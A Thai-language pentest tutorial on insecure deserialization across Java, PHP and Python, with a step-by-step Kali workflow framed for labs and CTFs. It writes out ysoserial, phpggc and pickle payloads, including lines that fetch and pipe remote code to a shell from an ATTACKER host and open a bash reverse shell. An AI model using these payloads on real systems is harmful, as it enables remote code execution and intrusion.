Insecure Deserialization
Insecure Deserialization คือช่องโหว่ที่แอปรับ serialized object จากผู้ใช้แล้ว deserialize โดยไม่ตรวจสอบ ทำให้ผู้โจมตีสร้าง object ที่เมื่อถูก deserialize จะรันโค้ด (gadget chain) นำไปสู่ RCE บทนี้ลงลึกแนวคิด, การระบุแต่ละภาษา (Java/PHP/Python/.NET), ysoserial/phpggc, การสร้าง/ใช้ gadget chain และ workflow (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. แนวคิด — ทำไม deserialize ถึงอันตราย
Serialization = แปลง object ในหน่วยความจำเป็น byte/string เพื่อเก็บหรือส่ง; deserialization = แปลงกลับเป็น object ปัญหาเกิดเมื่อแอป deserialize ข้อมูลที่ผู้ใช้ควบคุมได้ เพราะกระบวนการนี้อาจเรียก magic method อัตโนมัติ (เช่น Java readObject, PHP __wakeup/__destruct, Python __reduce__) ถ้ามี class ในแอป (หรือ library) ที่ทำสิ่งอันตรายใน method เหล่านี้ ผู้โจมตีร้อยเรียงมันเป็น gadget chain จนได้ RCE
2. ระบุ — serialized data หน้าตาแต่ละภาษา
| ภาษา | สัญญาณที่เห็น | ตำแหน่งที่พบ |
|---|---|---|
| Java | เริ่มด้วย rO0AB (base64 ของ 0xACED) หรือ bytes AC ED 00 05 | cookie, parameter, ViewState |
| PHP | O:8:"ClassName":... / a:2:{...} | cookie, hidden field |
| Python | pickle: \x80\x04 หรือ base64 ที่ขึ้น gAS | cookie, API body |
| .NET | AAEAAAD... (BinaryFormatter), ViewState __VIEWSTATE | ViewState, parameter |
| Ruby | Marshal: \x04\x08 | cookie, session |
เห็น blob เหล่านี้ใน cookie/parameter = สัญญาณแรงว่ามี deserialization ลอง decode (base64) ดู magic bytes/ชื่อ class
3. Java — ysoserial
Java deserialization เป็นที่นิยมที่สุด ysoserial สร้าง payload จาก gadget chain สำเร็จรูปตาม library ที่ target ใช้ (Commons-Collections, Spring, ฯลฯ)
# สร้าง payload (เลือก gadget ตาม library ใน classpath)
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER/x' > payload.bin
java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' | base64
# ส่ง payload (เช่นใน cookie ที่เป็น base64 serialized)
# 1. หา gadget ที่ตรง: ลองทีละ CC1..CC7, Spring1, etc.
# 2. ถ้าไม่รู้ library → ใช้ URLDNS เช็ค deserialization ก่อน
java -jar ysoserial.jar URLDNS 'http://YOUR.collaborator.net' | base64
# ถ้าได้ DNS hit = มี deserialization จริง → หา RCE gadget ต่อ
# ส่งผ่าน Burp: วาง base64 payload แทนค่า cookie/param เดิม4. PHP — phpggc + custom
# phpggc: สร้าง gadget chain สำหรับ framework ดังๆ
phpggc -l # list chains ที่มี
phpggc Laravel/RCE1 system 'id' # สร้าง payload
phpggc Monolog/RCE1 system 'id' -b # base64 output
# PHP object injection (custom) — เมื่อแอป unserialize() input
# โครง: O:<len>:"<Class>":<count>:{<props>}
# ถ้า class มี __wakeup/__destruct ที่ทำสิ่งอันตราย → inject property
# ตัวอย่าง object ที่กำหนด property ให้ชี้ไฟล์/คำสั่ง:
# O:4:"User":1:{s:4:"file";s:11:"/etc/passwd";}
# phar deserialization (ไม่ต้องมี unserialize ตรงๆ)
# สร้าง phar ที่ฝัง serialized object → trigger ผ่าน file function (phar://)5. Python — pickle
import pickle, base64, os
# pickle เรียก __reduce__ ตอน deserialize → คืน (callable, args)
class RCE:
def __reduce__(self):
return (os.system, ('curl http://ATTACKER/x | sh',))
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
# ส่ง payload นี้ไปที่จุดที่แอปทำ pickle.loads(base64decode(input))
# เช่น cookie, API ที่รับ pickled data6. Workflow + Decision Tree
- 1หา serialized data (decode base64 ดู magic bytes/ชื่อ class)
- 2ระบุภาษา/framework จากรูปแบบ
- 3ยืนยัน deserialization ก่อน (URLDNS/DNS gadget — ไม่ทำลายระบบ)
- 4เลือกเครื่องมือ: ysoserial (Java) / phpggc (PHP) / pickle (Python)
- 5ลอง gadget chain ทีละตัวจน trigger ได้
- 6ใส่คำสั่ง RCE → reverse shell
7. Quick Reference
- ระบุ: Java=rO0AB, PHP=O:..., Python pickle=gAS/\x80, .NET=ViewState
- ยืนยันก่อน: Java
ysoserial URLDNS→ DNS hit - Java:
ysoserial CommonsCollections5 'cmd' - PHP:
phpggc Laravel/RCE1 system 'id'+ phar:// trick - Python:
__reduce__คืน (os.system, ('cmd',)) - ป้องกัน: อย่า deserialize untrusted data; ใช้ JSON + allowlist
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ blob แปลกๆ ใน cookie หรือ hidden field มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อดูว่าเป็น insecure deserialization ไหม
- 1เปิด Burp Suite ตั้ง proxy แล้วหา blob แปลกใน cookie/param/hidden field (มักเป็น base64 ยาวๆ)
- 2วาง blob ใน CyberChef (From Base64) ดู magic bytes เพื่อระบุภาษา: rO0AB=Java, O:...=PHP, gAS/\x80=Python pickle
- 3ถ้าเป็น Java ติดตั้ง ysoserial (git clone frohoff/ysoserial แล้ว build ด้วย mvn หรือหา jar สำเร็จรูป) แล้วลอง
java -jar ysoserial.jar URLDNS 'http://YOUR-ID.oastify.com'ก่อน - 4เปิด Burp Collaborator (ในตัว Burp) หรือใช้ interact.sh เพื่อดูว่ามี DNS/HTTP callback กลับมาไหม (ยืนยันแบบไม่ทำลายระบบ)
- 5ถ้ามี callback กลับมา = ยืนยัน deserialization จริง → ลอง gadget RCE ทีละตัว (CommonsCollections1-7, Spring1)
- 6ถ้าเป็น PHP ลอง
phpggc -lดูว่า framework ตรงกับ target ไหม (Laravel/Symfony/Monolog) แล้วphpggc Laravel/RCE1 system 'id' - 7ถ้าเป็น Python pickle เขียน
__reduce__ที่สั่ง curl callback กลับมา Kali ก่อน (ยืนยันก่อนใส่คำสั่งอันตราย) - 8ส่ง payload แทนค่า cookie/param เดิมผ่าน Burp Repeater แล้วดูว่า trigger ไหม
- 9ยืนยันสำเร็จ → เปลี่ยนคำสั่งเป็น reverse shell กลับ Kali (nc -lvnp 4444 ฟังไว้ก่อน)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| สร้าง Java gadget chain | - | git clone https://github.com/frohoff/ysoserial | - |
| สร้าง PHP gadget chain | - | git clone https://github.com/ambionics/phpggc | - |
| ยืนยัน callback แบบไม่ทำลายระบบ | Burp Collaborator | - | interact.sh |
| decode/ดู magic bytes | - | - | CyberChef |
| ดักจับ/แก้ cookie ที่มี blob | Burp Suite Community | - | - |
| ฟังกลับ reverse shell | nc (netcat) | - | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้